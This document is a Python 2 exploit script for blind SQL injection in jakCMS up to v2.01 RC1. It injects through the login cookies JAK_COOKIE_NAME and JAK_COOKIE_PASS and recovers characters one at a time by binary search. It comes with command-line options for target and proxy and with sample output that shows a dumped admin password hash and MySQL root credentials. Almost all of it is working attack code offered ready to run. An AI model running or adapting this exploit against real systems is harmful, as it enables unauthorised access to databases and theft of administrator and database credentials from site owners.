#!/usr/bin/python # # jakCMS <= v2.01 RC1 Blind SQL Injection Exploit # # Understanding: # The parameters 'JAK_COOKIE_NAME' and 'JAK_COOKIE_PASS' are parsed via cookies to the application # and are unchecked for malicious characters. The contents of these variables are directly inserted into an # SQL statement, leading to SQL Injection vulnerabilities. # # Notes: # 1. PoC written to only work with the latest version. However, vuln exists in all versions. # 2. The admin password is encrypted as a sha256 with a unique HMAC. However the default value is set to ''. # # [mr_me@pluto jak]$ python jakcmsSQLInjectionExploit.py -p localhost:8080 -t 192.168.1.7 -d /webapps/jak/ # # | ----------------------------------------- | # | JAKcms Remote Blind SQL Injection Explo!t | # | by mr_me - net-ninja.net ---------------- | # # (+) Testing proxy @ localhost:8080.. proxy is found to be working! # (+) Using 'upload/admin' value for the true page # (+) This will take time, go grab a coffee.. # # (!) Getting database version: 5.1.41-3ubuntu12.9 # (!) Getting database user: root@localhost # (!) Getting database name: jak # (!) Getting JakCMS administrative account: admin:98b1d8e3f0ae03888a87bba62bdaf9adf02c78e9c98cfc8c3f46ed7b428dd64b # (!) w00t! You have access to MySQL database! # (+) Dumping hashs hold onto your knickers.. # (+) The username and hashed password is: root:*EE4E2773D7530819563F0DC6FCE27446A51C9413 # (+) PoC finished. import sys import urllib import re import urllib2 from optparse import OptionParser usage = "./%prog [] -t [target] -d [directory]" usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d /webapps/jak/" parser = OptionParser(usage=usage) parser.add_option("-p", type="string",action="store", dest="proxy", help="HTTP Proxy ") parser.add_option("-t", type="string", action="store", dest="target", help="The Target server ") parser.add_option("-d", type="string", action="store", dest="dirPath", help="Directory path to the CMS") (options, args) = parser.parse_args() def banner(): print "\n\t| ----------------------------------------- |" print "\t| JAKcms Remote Blind SQL Injection Explo!t |" print "\t| by mr_me - net-ninja.net ---------------- |\n" if len(sys.argv) < 5: banner() parser.print_help() sys.exit(1) # set the stage........ trueStr = "upload/admin" page = "index.php" basicInfo = {'version':'version()', 'user':'user()', 'name':'database()'} lower_value = 0 upper_value = 126 # test before we hit our target def testProxy(): check = 1 sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy)) sys.stdout.flush() try: req = urllib2.Request("http://www.google.com/") req.set_proxy(options.proxy,"http") check = urllib2.urlopen(req) except: check = 0 pass if check != 0: sys.stdout.write("proxy is found to be working!\n") sys.stdout.flush() else: print "proxy failed, exiting.." sys.exit(1) # handles all requests to the target server def getServerResponse(exploit, header=None, data=None): try: headers = {} headers['Cookie'] = header req = urllib2.Request(exploit, data, headers) if options.proxy: req.set_proxy(options.proxy,"http") check = urllib2.urlopen(req).read() except urllib.error.HTTPError, error: check = error.read() except urllib.error.URLError: print "(-) Target connection failed, check your address" sys.exit(1) return check # modified version of rsauron's function # thanks bro. def getAsciiValue(URI, data): lower = lower_value upper = upper_value while lower < upper: try: mid = (lower + upper) / 2 header = data + ">"+str(mid)+"--+;" result = getServerResponse(URI, header) match = re.findall(trueStr,result) if len(match) >= 1: lower = mid + 1 else: upper = mid except (KeyboardInterrupt, SystemExit): raise except: pass if lower > lower_value and lower < upper_value: value = lower else: header = data + "="+str(lower) +"-- ;" result = getServerResponse(URI, header) match = re.findall(trueStr,result) if len(match) > 1: value = lower else: print "\n(-) READ xprog's blind sql tutorial!\n" sys.exit(1) return value # Do our blind attacks def doBlindSqli(): data = "JAK_COOKIE_PASS=test; JAK_COOKIE_NAME=admin" request = ("http://"+options.target+options.dirPath + page) print "(+) Using '%s' value for the true page" % (trueStr) print "(+) This will take time, go grab a coffee.." for key in basicInfo: sys.stdout.write("\n(!) Getting database %s: " % (key)) sys.stdout.flush() # it will never go through all 50 iterations. \0/ lazy. for i in range(1,50): getBasicInfo = (data+"\"))+and+ascii(substring(%s,%s,1))" % (basicInfo[key],str(i))) asciival = getAsciiValue(request, getBasicInfo) if asciival >= 0: sys.stdout.write("%s" % (chr(asciival))) sys.stdout.flush() else: break # get JAKCMS admin account data sys.stdout.write("\n(!) Getting JakCMS administrative account: ") sys.stdout.flush() for i in range(1,100): getUserAndPass = (data+"\"))+and+ascii(substring((SELECT+concat(username,0x3a,password)+from+" "user+limit+0,1),%s,1))" % str(i)) asciival = getAsciiValue(request, getUserAndPass) if asciival != 0: sys.stdout.write("%s" % (chr(asciival))) sys.stdout.flush() else: pass # if we are lucky, get the mysql user/pass isMysqlUser = (data+"\"))+and+(select+1+from+mysql.user+limit+0,1)=1--+") result = getServerResponse(request, isMysqlUser) match = re.findall(trueStr,result) if len(match) >= 1: print "\n(!) w00t! You have access to MySQL database!" print "(+) Dumping hashs hold onto your knickers.." sys.stdout.write("(+) The username and hashed password is: ") sys.stdout.flush() for k in range(1,100): getMysqlUserAndPass = (data+"\"))+and+ascii(substring((SELECT+concat(user,0x3a,password)+from+" "mysql.user+limit+0,1),%s,1))" % str(k)) asciival = getAsciiValue(request, getMysqlUserAndPass) if asciival != 0: sys.stdout.write("%s" % (chr(asciival))) sys.stdout.flush() else: break sys.stdout.write("\n(+) PoC finished.\n") sys.stdout.flush() else: print "\n(-) You do not have access to MySQL database" def main(): banner() if options.proxy: testProxy() doBlindSqli() if __name__ == "__main__": main()